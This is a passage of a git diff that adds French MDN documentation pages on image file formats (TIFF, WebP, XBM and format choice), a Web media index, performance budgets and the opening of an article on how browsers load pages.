+    (<code>LONG</code>)</td>
+   <td><code>0x00000001</code><br>
+    (1 entry)</td>
+   <td><code>0x00000280</code><br>
+    (640 pixels)</td>
+  </tr>
+ </thead>
+</table>
+
+<p>Un seul fichier TIFF peut contenir plusieurs images ; il peut être utilisé pour représenter des documents de plusieurs pages, par exemple (comme un document de plusieurs pages scanné ou une télécopie reçue). Toutefois, un logiciel qui lit les fichiers TIFF n'est nécessaire que pour prendre en charge la première image.</p>
+
+<p>Le TIFF prend en charge divers espaces de couleur, et pas seulement le RGB. Il s'agit notamment de CMJN, YCbCr et autres, ce qui fait du TIFF un bon choix pour le stockage d'images destinées à la presse écrite, au cinéma ou à la télévision.</p>
+
+<p>Il y a longtemps, certains navigateurs prenaient en charge les images TIFF dans le contenu Web ; aujourd'hui, cependant, vous devez utiliser des bibliothèques spéciales ou des modules complémentaires de navigateur pour le faire. Les fichiers TIFF ne sont donc pas utiles dans le contexte du contenu web, mais il est courant de fournir des fichiers TIFF téléchargeables lors de la distribution de photos et d'autres œuvres d'art destinées à être modifiées ou imprimées avec précision.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Type de MIME</th>
+   <td><code>image/tiff</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Extension(s) de fichier(s)</th>
+   <td><code>.tif</code>, <code>.tiff</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Spécification</th>
+   <td><a href="https://www.adobe.io/open/standards/TIFF.html">adobe.io/open/standards/TIFF.html</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Compatibilité des navigateurs</th>
+   <td>Aucun navigateur n'intègre la prise en charge du TIFF ; son intérêt réside dans le fait qu'il peut être téléchargé</td>
+  </tr>
+  <tr>
+   <th scope="row">Dimensions maximum</th>
+   <td>4,294,967,295×4,294,967,295 pixels (théoriquement)</td>
+  </tr>
+  <tr>
+   <th scope="row">Modes de couleur pris en charge</th>
+   <td>
+    <table class="standard-table">
+     <tbody>
+      <tr>
+       <th scope="row">Mode de couleur</th>
+       <th scope="col">Bits par composante (<em>D</em>)</th>
+       <th scope="col">Description</th>
+      </tr>
+      <tr>
+       <th scope="row">Bilevel</th>
+       <td>1</td>
+       <td>Un TIFF à deux niveaux stocke 8 bits dans chaque octet, un bit par pixel. Le champ <code>PhotometricInterpretation</code> indique lequel de 0 et 1 est noir et lequel est blanc.</td>
+      </tr>
+      <tr>
+       <th scope="row">Niveaux de gris</th>
+       <td>4 et 8</td>
+       <td>Chaque pixel est constitué d'une seule valeur <em>D</em>-bit indiquant la luminosité du pixel en niveaux de gris.</td>
+      </tr>
+      <tr>
+       <th scope="row">Vraie couleur</th>
+       <td>8</td>
+       <td>Toutes les images RVB en couleurs réelles sont stockées en utilisant 8 bits de rouge, de vert et de bleu.</td>
+      </tr>
+      <tr>
+       <th scope="row">Couleur indexée</th>
+       <td>4 et 8</td>
+       <td>Chaque pixel est un index dans un enregistrement <code>ColorMap</code>, qui définit les couleurs utilisées dans l'image. La carte des couleurs répertorie toutes les valeurs de rouge, puis toutes les valeurs de vert, puis toutes les valeurs de bleu (plutôt que <code>rgb</code>, <code>rgb</code>, <code>rgb...</code>).</td>
+      </tr>
+      <tr>
+       <th scope="row">Niveaux de gris avec alpha</th>
+       <td>4 et 8</td>
+       <td>L'information alpha est ajoutée en spécifiant qu'il y a plus de 3 échantillons par pixel dans le champ <code>SamplesPerPixel</code>, et en indiquant le type d'alpha (1 pour une composante alpha pré-multipliée associée, et 2 pour une alpha non associée (une couche séparée) ; cependant, les canaux alpha sont rarement utilisés dans les fichiers TIFF et peuvent ne pas être pris en charge par le logiciel de l'utilisateur.</td>
+      </tr>
+      <tr>
+       <th scope="row">Vraie couleur avec alpha</th>
+       <td>8</td>
+       <td>L'information alpha est ajoutée en spécifiant qu'il y a plus de 3 échantillons par pixel dans le champ <code>SamplesPerPixel</code>, et en indiquant le type d'alpha (1 pour une composante alpha pré-multipliée associée, et 2 pour une alpha non associée (une couche séparée) ; cependant, les canaux alpha sont rarement utilisés dans les fichiers TIFF et peuvent ne pas être pris en charge par le logiciel de l'utilisateur.</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Compression</th>
+   <td>La plupart des fichiers TIFF ne sont pas compressés, mais les PackBits sans perte et la compression LZW sont pris en charge, tout comme la compression JPEG avec perte.</td>
+  </tr>
+  <tr>
+   <th scope="row">Lisence</th>
+   <td>Aucune licence n'est requise (à l'exception de celles associées aux bibliothèques que vous pourriez utiliser) ; tous les brevets connus ont expiré.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Image_WebP"><a id="WebP" name="WebP">Image WebP</a></h3>
+
+<p>Le WebP prend en charge la compression avec perte via un codage prédictif basé sur le codec vidéo VP8, et la compression sans perte qui utilise des substitutions pour la répétition des données. Les images WebP avec perte sont en moyenne 25 à 35 % plus petites que les images JPEG dont le niveau de compression est visuellement similaire. Les images WebP sans perte sont généralement 26 % plus petites que les mêmes images au format PNG.</p>
+
+<p>WebP prend également en charge l'animation : dans un fichier WebP avec perte, les données d'image sont représentées par un flux binaire VP8, qui peut contenir plusieurs images. Le fichier WebP sans perte contient le fragment <code>ANIM</code>, qui décrit l'animation, et le fragment <code>ANMF</code>, qui représente une image d'une séquence d'animation. Le bouclage est pris en charge.</p>
+
+<p>WebP bénéficie désormais d'un large soutien dans les dernières versions des principaux navigateurs web, bien qu'il ne bénéficie pas d'un soutien historique profond. Fournir une solution de repli au format {{anch("JPEG")}} ou {{anch("PNG")}}, par exemple avec <a href="/fr/docs/Web/HTML/Element/picture">l'élément <code>&lt;picture&gt;</code></a>.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Type de MIME</th>
+   <td><code>image/webp</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Extention(s) de fichier(s)</th>
+   <td><code>.webp</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Spécification</th>
+   <td>
+    <p><a href="https://developers.google.com/speed/webp/docs/riff_container">Spécification des conteneurs RIFF</a> (en)<br>
+     {{RFC(6386, "Format des données VP8 et guide de décodage")}} (en) (encodage avec perte)<br>
+     <a href="https://developers.google.com/speed/webp/docs/webp_lossless_bitstream_specification">Spécification du flux binaire sans perte WebP</a> (en)</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Compatibilité des navigateurs</th>
+   <td>
+    <table class="standard-table">
+     <tbody>
+      <tr>
+       <th scope="row">Feature</th>
+       <th scope="col">Chrome</th>
+       <th scope="col">Edge</th>
+       <th scope="col">Firefox</th>
+       <th scope="col">Internet Explorer</th>
+       <th scope="col">Opera</th>
+       <th scope="col">Safari</th>
+      </tr>
+      <tr>
+       <th scope="row">Supprt de WebP avec perte</th>
+       <td>17</td>
+       <td>18</td>
+       <td>65</td>
+       <td>non</td>
+       <td>11.10 (Presto)<br>
+        15 (Blink)</td>
+       <td>non</td>
+      </tr>
+      <tr>
+       <th scope="row">WebP sans perte</th>
+       <td>23<br>
+        25 sur Android</td>
+       <td>18</td>
+       <td>65</td>
+       <td>non</td>
+       <td>12.10 (Presto)<br>
+        15 (Blink)</td>
+       <td>non</td>
+      </tr>
+      <tr>
+       <th scope="row">Animation</th>
+       <td>32</td>
+       <td>18</td>
+       <td>65</td>
+       <td>non</td>
+       <td>19 (Blink)</td>
+       <td>non</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Dimensions maximum</th>
+   <td>16,383×16,383 pixels</td>
+  </tr>
+  <tr>
+   <th scope="row">Modes de couleur pris en charge</th>
+   <td>WebP avec perte stocke l'image au format 8 bits Y'CbCr 4:2:0 (YUV420). WebP sans perte utilise la couleur ARGB 8 bits, chaque composant prenant 8 bits pour un total de 32 bits par pixel.</td>
+  </tr>
+  <tr>
+   <th scope="row">Compression</th>
+   <td>Sans perte (Huffman, LZ77, ou codes de cache couleur) ou avec perte (VP8).</td>
+  </tr>
+  <tr>
+   <th scope="row">Licence</th>
+   <td>Aucune licence n'est requise ; le code source est librement accessible.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="XBM_X_Window_System_Bitmap_file"><a id="XBM" name="XBM">XBM</a> (X Window System Bitmap file)</h3>
+
+<p>Les fichiers XBM (X Bitmap) ont été les premiers à être pris en charge sur le Web, mais ils ne sont plus utilisés et doivent être évités, car leur format peut poser des problèmes de sécurité. Les navigateurs modernes n'ont pas pris en charge les fichiers XBM depuis de nombreuses années, mais lorsqu'il s'agit de contenus plus anciens, vous pouvez en trouver encore.</p>
+
+<p>XBM utilise un extrait de code C pour représenter le contenu de l'image sous la forme d'un tableau d'octets. Chaque image se compose de 2 à 4 directives <code>#define</code>, fournissant la largeur et la hauteur de la carte de bits (et éventuellement le hotspot, si l'image est conçue comme un curseur), suivies d'un tableau de <code>unsigned char</code>, où chaque valeur contient 8 pixels monochromes de 1 bit.</p>
+
+<p>L'image doit être un multiple de 8 pixels de large. Par exemple, le code suivant représente une image XBM de 8 pixels sur 8 pixels, ces pixels étant disposés en damier noir et blanc :</p>
+
+<pre class="brush: cpp">#define square8_width 8
+#define square8_height 8
+static unsigned char square8_bits[] = {
+  0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55
+};
+</pre>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Type de MIME</th>
+   <td><code>image/xbm</code>, <code>image-xbitmap</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Extension(s) de fichier(s)</th>
+   <td><code>.xbm</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Spécification</th>
+   <td>Aucune</td>
+  </tr>
+  <tr>
+   <th scope="row">Compatibilité des navigateurs</th>
+   <td>Firefox 1–3.5, Internet Explorer 1–5</td>
+  </tr>
+  <tr>
+   <th scope="row">Dimensions maximum</th>
+   <td>Illimitée</td>
+  </tr>
+  <tr>
+   <th scope="row">Modes de couleur pris en charge</th>
+   <td>
+    <table class="standard-table">
+     <thead>
+      <tr>
+       <th scope="row">Mode de couleur</th>
+       <th scope="col">Bits par composantes</th>
+       <th scope="col">Description</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <th scope="row">Niveaux de gris</th>
+       <td>1</td>
+       <td>Chaque octet contient huit pixels de 1 bit.</td>
+      </tr>
+      <tr>
+       <th scope="row">Vraie couleur</th>
+       <td><em>n/a</em></td>
+       <td><em>n/a</em></td>
+      </tr>
+      <tr>
+       <th scope="row">Couleur indexée</th>
+       <td><em>n/a</em></td>
+       <td><em>n/a</em></td>
+      </tr>
+      <tr>
+       <th scope="row">Niveaux de gris avec alpha</th>
+       <td><em>n/a</em></td>
+       <td><em>n/a</em></td>
+      </tr>
+      <tr>
+       <th scope="row">Vraie couleur avec alpha</th>
+       <td><em>n/a</em></td>
+       <td><em>n/a</em></td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Compression</th>
+   <td>Sans pertes</td>
+  </tr>
+  <tr>
+   <th scope="row">Licence</th>
+   <td>Open source</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Choisir_un_format_dimage">Choisir un format d'image</h2>
+
+<p>Il est probablement plus facile de choisir le format d'image le mieux adapté à vos besoins que les formats vidéo, car il existe moins d'options bénéficiant d'un large soutien et chacune d'entre elles tend à avoir un ensemble spécifique de cas d'utilisation.</p>
+
+<h3 id="Photographies">Photographies</h3>
+
+<p>Les photographies se comportent généralement bien avec une compression avec perte (selon la configuration du codeur). Cela fait de {{anch("JPEG")}} et {{anch("WebP")}} de bons choix pour les photographies, le JPEG étant plus compatible mais le WebP offrant peut-être une meilleure compression. Pour maximiser la qualité et réduire le temps de téléchargement, envisagez de fournir à la fois une {{anch("Providing image fallbacks", "solution de repli")}} avec WebP comme premier choix et JPEG comme second. Sinon, le JPEG est le choix le plus sûr pour la compatibilité.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="width: 50%;">Meilleurs choix</th>
+   <th scope="col">Choix de secours</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>WebP et JPEG</td>
+   <td>JPEG</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Icônes">Icônes</h3>
+
+<p>Pour les images plus petites comme les icônes, utilisez un format sans perte pour éviter la perte de détails dans une image de taille limitée. Si le format WebP sans perte est idéal à cette fin, il n'est pas encore très répandu, de sorte que le format PNG est un meilleur choix, à moins que vous n'offriez une {{anch("Providing image fallbacks", "solution de repli")}}. Si votre image contient moins de 256 couleurs, le GIF est une option, bien que le PNG comprime souvent encore plus petit avec son option de compression indexée (PNG-8).</p>
+
+<p>Si l'icône peut être représentée par des graphiques vectoriels, il faut envisager {{anch("SVG")}}, puisqu'elle s'étend sur plusieurs résolutions et tailles, ce qui est parfait pour une conception réactive. Bien que la prise en charge du SVG soit bonne, il peut être utile de proposer un PNG de secours pour les navigateurs plus anciens.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="width: 50%;">Meilleurs choix</th>
+   <th scope="col">Choix de secours</th>
+  </tr>
+  <tr>
+   <td>SVG, WebP sans perte, ou PNG</td>
+   <td>PNG</td>
+  </tr>
+ </thead>
+</table>
+
+<h3 id="Captures_décran">Captures d'écran</h3>
+
+<p>À moins que vous ne soyez prêt à faire des compromis sur la qualité, vous devriez utiliser un format sans perte pour les captures d'écran. C'est particulièrement important si votre capture d'écran contient du texte, car le texte devient facilement flou et peu clair sous une compression avec perte.</p>
+
+<p>Le format PNG est probablement le plus adapté, mais le format WebP sans perte est sans doute mieux compressé.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="width: 50%;">Meilleur choix</th>
+   <th scope="col">Choix de secours</th>
+  </tr>
+  <tr>
+   <td>WebP sans perte ou PNG ;<br>
+    JPEG si les artefacts de compression ne sont pas un problème</td>
+   <td>PNG ou JPEG ;<br>
+    GIF pour les captures d'écran à faible nombre de couleurs</td>
+  </tr>
+ </thead>
+</table>
+
+<h3 id="Diagrammes_dessins_et_diagrammes">Diagrammes, dessins et diagrammes</h3>
+
+<p>Pour toute image pouvant être représentée par des graphiques vectoriels, le SVG est le meilleur choix. Sinon, vous devez utiliser un format sans perte comme le PNG. Si vous choisissez un format avec perte, tel que JPEG ou WebP avec perte, pesez soigneusement le niveau de compression pour éviter que le texte ou d'autres formes ne deviennent flous ou imprécis.</p>
+
+<table class="standard-table" style="max-width: 42rem;">
+ <thead>
+  <tr>
+   <th scope="col" style="width: 50%;">Meilleur choix</th>
+   <th scope="col">Choix de secours</th>
+  </tr>
+  <tr>
+   <td>{{anch("SVG")}}</td>
+   <td>{{anch("PNG")}}</td>
+  </tr>
+ </thead>
+</table>
+
+<h2 id="Fournir_des_solutions_de_repli_en_matière_dimage"><a id="solution de repli" name="solution de repli">Fournir des solutions de repli en matière d'image</a></h2>
+
+<p>Alors que l'élément HTML standard {{HTMLElement("img")}} ne supporte pas les retours de compatibilité pour les images, l'élément {{HTMLElement("picture")}} le fait. <code>&lt;picture&gt;</code> est utilisé comme enveloppe pour un certain nombre d'éléments {{HTMLElement("source")}}, chacun spécifiant une version de l'image dans un format différent ou sous des <a href="/fr/docs/Web/CSS/@media">conditions @media</a>, ainsi qu'un élément <code>&lt;img&gt;</code> qui définit où afficher l'image et le retour à la version par défaut ou "la plus compatible".</p>
+
+<p>Par exemple, si vous affichez un diagramme mieux affiché avec SVG, mais que vous souhaitez offrir une solution de rechange à un PNG ou GIF du diagramme, vous feriez quelque chose comme ceci :</p>
+
+<pre class="brush: html">&lt;picture&gt;
+  &lt;source srcset="diagram.svg" type="image/svg+xml"&gt;
+  &lt;source srcset="diagram.png" type="image/png"&gt;
+  &lt;img src="diagram.gif" width="620" height="540"
+       alt="Diagramme montrant les canaux de données"&gt;
+&lt;/picture&gt;
+</pre>
+
+<p>Vous pouvez spécifier autant de <code>&lt;source&gt;</code>s que vous le souhaitez, bien qu'il vous suffise généralement de 2 ou 3.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Media/Formats">Guide des types et formats de médias</a></li>
+ <li><a href="/fr/docs/Web/Media">Technologies media Web</a></li>
+ <li><a href="/fr/docs/Web/Media/Formats/Video_codecs">Guide des codecs vidéo du Web</a></li>
+ <li>Les éléments {{Glossary("HTML")}} {{HTMLElement("img")}} et {{HTMLElement("picture")}}</li>
+ <li>La propriété CSS {{cssxref("background-image")}}</li>
+ <li>Le constructeur {{domxref("Image()")}} et l'interface {{domxref("HTMLImageElement")}}</li>
+</ul>
diff --git a/files/fr/web/media/index.html b/files/fr/web/media/index.html
new file mode 100644
index 0000000000..b3053f767b
--- /dev/null
+++ b/files/fr/web/media/index.html
@@ -0,0 +1,59 @@
+---
+title: Technologies media Web
+slug: Web/Media
+translation_of: Web/Media
+---
+<div>{{draft}}</div>
+
+<p><span class="seoSummary">Over the years, the Web's ability to present, create, and manage audio, video, and other media has grown at an increasing pace. Today, there are a large number of APIs available, as well as HTML elements, DOM interfaces, and other features that make it possible to not only perform these tasks, but use media in tandem with other technologies to do truly remarkable things. This article lists the various APIs with links to documentation you may find helpful in mastering them.</span></p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="References">References</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<p>These articles cover HTML features for media developers.</p>
+
+<dl>
+ <dt>{{HTMLElement("audio")}}</dt>
+ <dd>The <code>&lt;audio&gt;</code> element is used to play audio in a Web context. These can be used invisibly as a destination for more complex media, or with visible controls for user-controlled playback of audio files.</dd>
+ <dt>{{HTMLElement("video")}}</dt>
+ <dd>The <code>&lt;video&gt;</code> element is an endpoint for video content in a Web context. It can be used to simply present video files, or as a destination for streamed video content. <code>&lt;video&gt;</code> can also be used as a way to link media APIs with other HTML and DOM technologies, including {{HTMLElement("canvas")}} (for frame grabbing and manipulation), for example.</dd>
+</dl>
+
+<h3 id="APIs">APIs</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a></dt>
+ <dd>A reference for the API which makes it possible to stream, record, and manipulate media both locally and across a network. This includes using local cameras and microphones to capture video, audio, and still images.</dd>
+ <dt><a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a></dt>
+ <dd>The Web Audio API lets you generate, filter, and manipulate sound data both in real-time and on pre-recorded material, then send that audio to a destination such as an <code>&lt;audio&gt;</code> element, a media stream, or to disk.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a></dt>
+ <dd>WebRTC (Web Real-Time Communication) makes it possible to stream live audio and video, as well as transfer arbitrary data, between two peers over the Internet, without requiring an intermediary.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Media/Overview">Overview of media technology on the web</a></dt>
+ <dd>A general look at the open Web technologies and APIs that provide support for audio and video playback, manipulation, and recording. If you're not sure which API you should use, this is the place to start.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Other_topics">Other topics</h2>
+
+<p>Related topics which may be of interest, since they can be used in tandem with media APIs in interesting ways.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/Canvas_API">The Canvas API</a></dt>
+ <dd>The Canvas API lets you draw into an {{HTMLElement("canvas")}}, manipulating and changing the contents of an image. This can be used with media in many ways, including by setting a <code>&lt;canvas&gt;</code> element as the destination for video playback or camera capture so that you can capture and manipulate video frames.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API">WebGL</a></dt>
+ <dd>WebGL provides an OpenGL ES compatible API on top of the existing Canvas API, making it possible to do powerful 3D graphics on the Web. Through a canvas, this can be used to add 3D imagery to media content.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/fr/web/performance/budgets_de_performance/index.html b/files/fr/web/performance/budgets_de_performance/index.html
new file mode 100644
index 0000000000..6a7b0d47b4
--- /dev/null
+++ b/files/fr/web/performance/budgets_de_performance/index.html
@@ -0,0 +1,81 @@
+---
+title: Budgets de performance
+slug: Web/Performance/Budgets_de_performance
+tags:
+  - Budget
+  - Budget Performance
+  - Performance
+  - Performance Web
+translation_of: Web/Performance/Performance_budgets
+---
+<p>{{draft}}</p>
+
+<p><span class="seoSummary">Un budget de performance est une limite pour éviter les régressions. Il peut s'appliquer à un fichier, un type de fichier, tous les fichiers chargés sur une page, une métrique spécifique (par exemple, <a href="/fr/docs/Glossaire/Time_to_interactive">Time to Interactive</a>), une métrique personnalisée (par exemple, Time to Hero Element), ou un seuil sur une période de temps.   </span></p>
+
+<h2 id="Pourquoi_ai-je_besoin_dun_budget_de_performance">Pourquoi ai-je besoin d'un budget de performance?</h2>
+
+<p>Un budget existe pour refléter vos objectifs atteignables. C'est un compromis entre l'expérience utilisateur et d'autres indicateurs de performance (par exemple, le taux de conversion).<br>
+ <br>
+ Ces objectifs peuvent être:</p>
+
+<ul>
+ <li>Basé sur le timing (par exemple, <a href="/fr/docs/Glossaire/Time_to_interactive">Time to Interactive</a>, <a href="/fr/docs/Glossaire/First_contentful_paint">First Contentful Paint</a>).</li>
+ <li>Basé sur la quantité (par exemple, quantité de fichiers JS / taille totale de l'image).</li>
+ <li>Basé sur des règles (par exemple, Pagespeed index, Lighthouse score).</li>
+</ul>
+
+<p>Leur objectif principal est d'éviter les régressions, mais ils peuvent fournir des informations sur les tendances prévisionnelles (c'est-à-dire qu'en septembre, 50% du budget a été dépensé en une semaine).</p>
+
+<p>De plus, il peut découvrir les besoins de développement (c'est-à-dire qu'une grande bibliothèque avec des alternatives plus petites est souvant choisie pour résoudre un problème courant).</p>
+
+<h2 id="Comment_définir_un_budget_de_performance">Comment définir un budget de performance ?</h2>
+
+<p>Un budget doit comprendre 2 niveaux:</p>
+
+<ul dir="ltr">
+ <li>Attention.</li>
+ <li>Erreur.</li>
+</ul>
+
+<p>Le niveau d'avertissement vous permet d'être proactif et de planifier toute dette technologique, sans bloquer le développement ou les déploiements.</p>
+
+<p>Le niveau d'erreur est une limite supérieure, où les changements auront un impact négatif et notable.</p>
+
+<p>Pour commencer, vous devez d'abord mesurer les appareils et les vitesses de connexion d'où viennent vos utilisateurs (par exemple, un appareil Android à ~200$ via une connexion 3G), à l'aide de plusieurs <a href="/en-US/docs/Learn/Performance/Web_Performance_Basics">outils</a>. Ces mesures basées sur le temps se traduiront par des budgets de taille de fichier.</p>
+
+<p>Une base de référence par défaut pour réduire le taux de rebond est d'atteindre un <a href="https://infrequently.org/2017/10/can-you-afford-it-real-world-web-performance-budgets/">Time to Interactive inférieur à 5 secondes en 3G/4G, et inférieur à 2 secondes pour les charges suivantes</a>. Cependant, en fonction des objectifs et du contenu spécifiques de votre site, vous pouvez choisir de vous concentrer sur d'autres mesures.</p>
+
+<p>Pour un site contenant beaucoup de texte, tel qu'un blog ou un site d'actualités, la métrique <a href="/fr/docs/Glossaire/First_contentful_paint">First Contentful Paint</a> pourrait refléter plus étroitement le comportement de l'utilisateur. (c'est-à-dire à quelle vitesse les utilisateurs peuvent-ils commencer à lire), ce qui informera les budgets spécifiques aux fichiers (par exemple, la taille de la police), et leurs optimisations. (par exemple, utiliser l'<a href="/fr/docs/Web/CSS/@font-face/font-display">affichage des polices</a> pour améliorer les <a href="/en-US/docs/Learn/Performance/perceived_performance">performances perçues</a>).</p>
+
+<p>La valeur ultime d'un budget de performance est de corréler l'impact de la performance sur les objectifs commerciaux ou produits. Lors de la définition des mesures, vous devez vous concentrer sur l'<a href="https://extensionworkshop.com/documentation/develop/user-experience-best-practices/">expérience utilisateur</a>, qui dictera non seulement le taux de rebond ou de conversion, mais aussi la probabilité de retour de l'utilisateur.</p>
+
+<h2 id="Comment_mettre_en_œuvre_un_budget_de_performance">Comment mettre en <span class="tlid-translation translation" lang="fr"><span title="">œuvre un budget de performance?</span></span></h2>
+
+<p>Pendant le développement, il existe quelques outils pour effectuer des vérifications sur les actifs nouveaux ou modifiés:</p>
+
+<ul>
+ <li>Un bundler de modules (par exemple, <a href="https://webpack.js.org/">webpack</a>), possède des <a href="https://webpack.js.org/configuration/performance/">fonctionnalités de performance</a> qui vous avertiront lorsque les actifs dépassent les limites spécifiées.</li>
+ <li><a href="https://github.com/siddharthkp/bundlesize">Bundlesize</a>, vous permet de définir et d'exécuter des contrôles de taille de fichier dans votre pipeline <a href="/en-US/docs/Mozilla/Continuous_integration">CI</a>.</li>
+</ul>
+
+<p>Les vérifications de la taille des fichiers sont la première ligne de défense contre les régressions, mais la conversion de la taille en mesures temporelles peut être difficile car les environnements de développement peuvent manquer de scripts tiers et d'optimisations généralement fournies par un <a href="/fr/docs/Glossaire/CDN">CDN</a>.</p>
+
+<p>La première étape consiste à définir une base de développement pour chaque branche à comparer et la précision de la différence entre le développement et la production peut être utilisée comme objectif pour mieux correspondre à l'environnement réel.</p>
+
+<p>Le <a href="https://github.com/GoogleChromeLabs/lighthousebot">bot Lighthouse</a> s'intègre à <a href="https://travis-ci.org/">Travis CI</a> et peut être utilisé pour collecter des métriques de <a href="https://developers.google.com/web/tools/lighthouse/">Lighthouse</a> et de <a href="https://webpagetest.org">Webpage Test</a> à partir d'une URL de dévloppement. Le bot réussira ou échouera en fonction des scores minimums fournis.</p>
+
+<h2 id="Comment_appliquer_un_budget_de_performance">Comment appliquer un budget de performance?</h2>
+
+<p>Plus tôt vous pourrez identifier un ajout potentiel poussant le budget, mieux vous pourrez analyser l'état actuel de votre site et identifier les optimisations ou le code inutile.</p>
+
+<p>Cependant, vous devez avoir plusieurs budgets et être dynamique. Ils sont destinés à refléter vos objectifs en cours, mais permettent des risques et des expériences. Par exemple, vous pouvez introduire une fonctionnalité qui augmente le temps de chargement global mais tente d'augmenter l'engagement des utilisateurs. (c'est-à-dire combien de temps un utilisateur reste sur une page ou un site).</p>
+
+<p>Un budget de performance vous aide à protéger le comportement optimal de vos utilisateurs actuels tout en vous permettant d'accéder à de nouveaux marchés et de proposer des expériences personnalisées.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://addyosmani.com/blog/performance-budgets/">Start Performance Budgeting</a> par Addy Osmani</li>
+ <li><a href="https://web.dev/fast/performance-budgets-101">Performance Budgets 101</a> par Milica Mihajlija</li>
+ <li><a href="https://timkadlec.com/remembers/2019-03-07-performance-budgets-that-stick/">Performance Budgets That Stick</a> par Tim Kadlec</li>
+</ul>
diff --git a/files/fr/web/performance/how_browsers_work/index.html b/files/fr/web/performance/how_browsers_work/index.html
new file mode 100644
index 0000000000..19a313e3aa
--- /dev/null
+++ b/files/fr/web/performance/how_browsers_work/index.html
@@ -0,0 +1,221 @@
+---
+title: 'Remplir la page: comment fonctionnent les navigateurs'
+slug: Web/Performance/How_browsers_work
+tags:
+  - DNS
+  - Navigation
+  - Performance
+  - Performance Web
+translation_of: Web/Performance/How_browsers_work
+---
+<p>Les utilisateurs veulent des expériences Web avec un contenu rapide à charger et une interaction fluide. Par conséquent, un développeur doit s'efforcer d'atteindre ces deux objectifs.</p>
+
+<p><span class="seoSummary">Pour comprendre comment améliorer les performances et les performances perçues, il est utile de comprendre le fonctionnement du navigateur.</span></p>
+
+<h2 id="Vue_générale">Vue générale</h2>
+
+<p>Les sites rapides offrent une meilleure expérience utilisateur. Les utilisateurs veulent et s'attendent à des expériences Web avec un contenu rapide à charger et à interagir avec fluidité.</p>
+
+<p>La compréhension des problèmes liés 1) à la latence et 2) les problèmes liés au fait que, dans la plupart des cas, les navigateurs fonctionné  à un seul thread. Cela sont deux problèmes majeurs dans les performances Web.</p>
+
+<p>La latence est notre principale menace à surmonter pour assurer une charge rapide. Pour être rapides à charger, les objectifs des développeurs incluent l’envoi des informations demandées aussi rapidement que possible, ou du moins, cela semble super rapide. La latence du réseau est le temps nécessaire pour transmettre des octets par liaison radio aux ordinateurs. La performance Web est ce que nous devons faire pour que le chargement de la page se fasse le plus rapidement possible.</p>
+
+<p>Pour la plupart, les navigateurs sont considérés comme un seul thread. Pour que les interactions se déroulent sans heurt, l’objectif du développeur est d’assurer des interactions de site performantes, du défilement en douceur à la réactivité au touchers Le temps de rendu est essentiel, car il permet de s’assurer que le fil principal peut effectuer tout le travail que nous lui faisons, tout en restant disponible pour gérer les interactions de l’utilisateur.</p>
+
+<p>Les performances Web peuvent être améliorées en comprenant le caractère mono-thread du navigateur et en minimisant les responsabilités du thread principal, lorsque cela est possible et approprié, pour assurer un rendu fluide et des réponses aux interactions immédiates.</p>
+
+<h2 id="Navigation">Navigation</h2>
+
+<p>La navigation est la première étape du chargement d’une page Web. Cela se produit chaque fois qu'un utilisateur demande une page en saisissant une URL dans la barre d'adresse, en cliquant sur un lien, en soumettant un formulaire, ainsi que d'autres actions.</p>
+
+<p>L'un des objectifs de la performance Web est de minimiser le temps de navigation. Dans des conditions idéales, cela ne prend généralement pas trop de temps, mais la latence et la bande passante sont des ennemis qui peuvent causer des retards.</p>
+
+<h3 id="Recherche_DNS">Recherche DNS</h3>
+
+<p>La première étape de la navigation vers une page Web consiste à rechercher l'emplacement des actifs de cette page. Si vous accédez à <code>https://example.com</code>, la page HTML se trouve sur le serveur avec l'adresse IP de <code>93.184.216.34</code>. Si vous n’avez jamais visité ce site, une recherche DNS doit être effectuée.</p>
+
